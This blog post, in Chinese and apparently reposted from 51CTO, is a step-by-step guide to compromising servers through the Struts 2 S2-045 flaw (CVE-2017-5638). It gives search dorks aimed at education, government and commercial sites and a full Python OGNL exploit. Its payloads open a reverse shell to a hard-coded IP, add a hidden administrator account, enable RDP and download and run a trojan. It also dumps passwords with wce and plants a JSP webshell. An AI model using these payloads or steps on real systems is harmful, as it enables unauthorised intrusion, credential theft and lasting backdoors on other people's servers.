天天看點

​如何快速利用s02-45漏洞擷取伺服器權限

byantian365.com simeon

Apache Struts 2是世界上最流行的JavaWeb伺服器架構之一。然而在Struts 2上發現存在高危安全漏洞(CVE-2017-5638,S02-45),該漏洞影響到:Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts2.5.10

漏洞編号:CVE-2017-5638

漏洞等級:HIGH

漏洞名稱:S2-045:Struts 2遠端執行代碼漏洞

漏洞影響:基于JakartaMultipart解析器執行檔案上傳時可能的RCE

影響版本:Struts 2.3.5 -Struts 2.3.31

                   Struts 2.5 -Struts 2.5.10

修補方案:

 更新到Struts2.3.32或Struts 2.5.10.1

Struts2.3.32下載下傳位址: 

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32

Struts2.5.10.1下載下傳位址:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1 

漏洞原理:Struts2預設解析上傳檔案的Content-Type頭,存在問題。在解析錯誤的情況下,會執行錯誤資訊中的OGNL代碼。

   經過實際測試,隻要存在該漏洞windows和linux基本都是伺服器權限。危害極大,可以肯定對很多人來說今晚一定是一個不眠之夜。

1.準備一個jsp的webshell,儲存在網站上,例如可以是1.txt等文本檔案,可供網絡下載下傳。

2.準備好具備獨立IP的伺服器,在上面有nc.exe。

3.準備python環境。

C:\Python27\python.exeC:\Python27\poster-0.8.1\setup.py install

<a href="https://s1.51cto.com/wyfs02/M00/8E/6A/wKiom1i_sMrxADFwAADKcotDY00917.jpg-wh_500x0-wm_3-wmp_4-s_1274689519.jpg" target="_blank"></a>

圖1缺少poster.encode子產品

4.擷取各種action頁面

(1)通過zoomeye去擷取各種action頁面,直接搜尋index.action、login.action、info.action等。

(2)百度大嬸法

inurl:index.actionsite:edu.cn

inurl:index.actionsite:gov.cn

inurl:index.actionsite:com.cn

   注意:别搞破壞,現在網絡安全法很厲害!!!

  1.對于linux版本修改whoami值為:bash -i&gt;&amp; /dev/tcp/122.115.47.39/4433 0&gt;&amp;1

說明122.115.47.39為反彈監控伺服器IP,端口為4433,然後将檔案儲存為poclinux.py,如圖2所示。也可以有其它一些常見的指令:id、whomai、cat /etc/passwd、cat/etc/shadow等。可以修改對應參數并保持不同名字即可。

<a href="https://s1.51cto.com/wyfs02/M00/8E/68/wKioL1i_sMyjK94bAAG8k1fUmNs264.jpg-wh_500x0-wm_3-wmp_4-s_786132680.jpg" target="_blank"></a>

圖2修改linux下poc利用代碼

2.對應Windows伺服器,修改whomai值為:

net user antian365$ Wsantian365!*/add

net localgroup administratorsantian365$  /add

分别将poc檔案儲存為pocwin1.py、pocwin2.py,如圖3所示。

<a href="https://s3.51cto.com/wyfs02/M00/8E/68/wKioL1i_sM3gcw5LAAG4nXI1B-I642.jpg-wh_500x0-wm_3-wmp_4-s_3024525540.jpg" target="_blank"></a>

圖3修改windows下利用代碼

 1.對方開啟了3389

(1)掃描對方是否開啟3389,開啟了則分别執行:

如果對方存在漏洞,則會直接添加使用者“antian365$”,密碼“Wsantian365!*”,伺服器開啟了3389,登入上去然後下載下傳wce64,直接wce64 –w擷取目前登入密碼,記得一定要使用管理者權限執行。

(2)直接開啟3389

在那個參數中分别修改三次,執行以下代碼三次,即可開啟3389.

wmic /namespace:\\root\cimv2\terminalservices pathwin32_terminalservicesetting where (__CLASS != "") callsetallowtsconnections 1

 wmic/namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

 reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f  

 3389開啟對條件是對方是獨立IP,如果是内網IP則情況第二種方法。

2.木馬執行法

(1)下載下傳木馬

首先需要準備一個木馬程式,需要過win2008的。然後修改win.py中的whoami參數為:

bitsadmin /transfer myjob1/download /priority normal http://www.antian365.com/ma.exe c:\windows\temp\ma.exe

(2)執行木馬,修改poc的中whoami參數為ma.exe的真實路徑和位址,如下即可。運作儲存後的poc則會在原創執行之。

c:\windows\temp\ma.exe

2.執行poc

<a href="https://s5.51cto.com/wyfs02/M01/8E/6A/wKiom1i_sM3DHMVdAACf1F8CQ-k803.jpg-wh_500x0-wm_3-wmp_4-s_2708617271.jpg" target="_blank"></a>

圖4擷取伺服器反彈權限

3.擷取webshell

伺服器權限比較不好操作,需要弄一個webshell,方法如下:

(1)尋找jsp檔案,執行以下指令:

locate *.jsp

(2)擷取網站真實路徑

尋找jsp檔案,找到以後應該有一個網站路徑,其路徑為opt/web/apps/zhsh/WebRoot/,如圖5所示。執行cd/opt/web/apps/zhsh/WebRoot/到網站目錄。

<a href="https://s5.51cto.com/wyfs02/M01/8E/6A/wKiom1i_sM7jdSKbAABcWzvBXaM490.jpg-wh_500x0-wm_3-wmp_4-s_416694674.jpg" target="_blank"></a>

圖5擷取真實路徑

(3)下載下傳webshell檔案

下載下傳shell檔案:

複制1.txt為myma.jsp

 cp 1.txt myma.jsp

修改myma.jsp有執行權限,如圖6所示。

chmod +x myma.jsp 

<a href="https://s5.51cto.com/wyfs02/M01/8E/68/wKioL1i_sM6DXZbvAACD_PWNBpo268.jpg-wh_500x0-wm_3-wmp_4-s_1573837065.jpg" target="_blank"></a>

圖6修改檔案執行權限

(4)擷取webshell

熟悉的webshell出現了,如圖7所示,可以上傳檔案,執行指令等,如果再需要可以上傳大馬什麼的。

<a href="https://s4.51cto.com/wyfs02/M01/8E/68/wKioL1i_sM_DAtc7AAERKZMD2q8483.jpg-wh_500x0-wm_3-wmp_4-s_2861989960.jpg" target="_blank"></a>

圖7擷取webshell

1.尋找jsp所有檔案

(1)locate指令

(2)find

find / -name php.ini

(3)where

whereis index.jsp

技巧:

(1)通過檢視網站的圖檔檔案名稱或者位址來尋找。通常是在新視窗打開圖檔位址,例如http://www.antian365.com/static/image/common/logo.gif,logo.gif即為關鍵資訊,可以用以下指令搜尋,第一和第二比較好,第三個比較耗費時間:

locate logo.gif

whereis logo.gif

find / -name logo.gif

(2)到jsp程式目錄,複制粘貼(1)中擷取的位址,一般目錄多在webapps。

cd webapps

2.快捷下載下傳程式并修改權限方法

jspspy大馬下載下傳,密碼:antian365

wgethttp://www.antian365.com/lab/s.txt

cp s.txts045.jsp

chmod +x s045.jsp

rm -rf s.txt

通路網站的目錄即可擷取webshell。

   紅色部分是需要修改的部分。

#! /usr/bin/env python

# encoding:utf-8

# s02-45_poc.py s02-45_poc.pyhttp://www.antian365.com

import urllib2

import sys

from poster.encode importmultipart_encode

from poster.streaminghttp importregister_openers

def poc():

   register_openers()

   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})

   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"

   header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i &gt;&amp; /dev/tcp/122.115.47.39/4433 0&gt;&amp;1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

   response = urllib2.urlopen(request)

   #print "reponse:\n"

   print response.read()

try:

  poc()

except Exception,e:

  printe

  exit(-1)

   header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user antian$ Fucksite2017!* /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

# s02-45_poc.pyhttp://www.antian365.com

   header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net localgroup administrators antian$  /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

 本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/1904351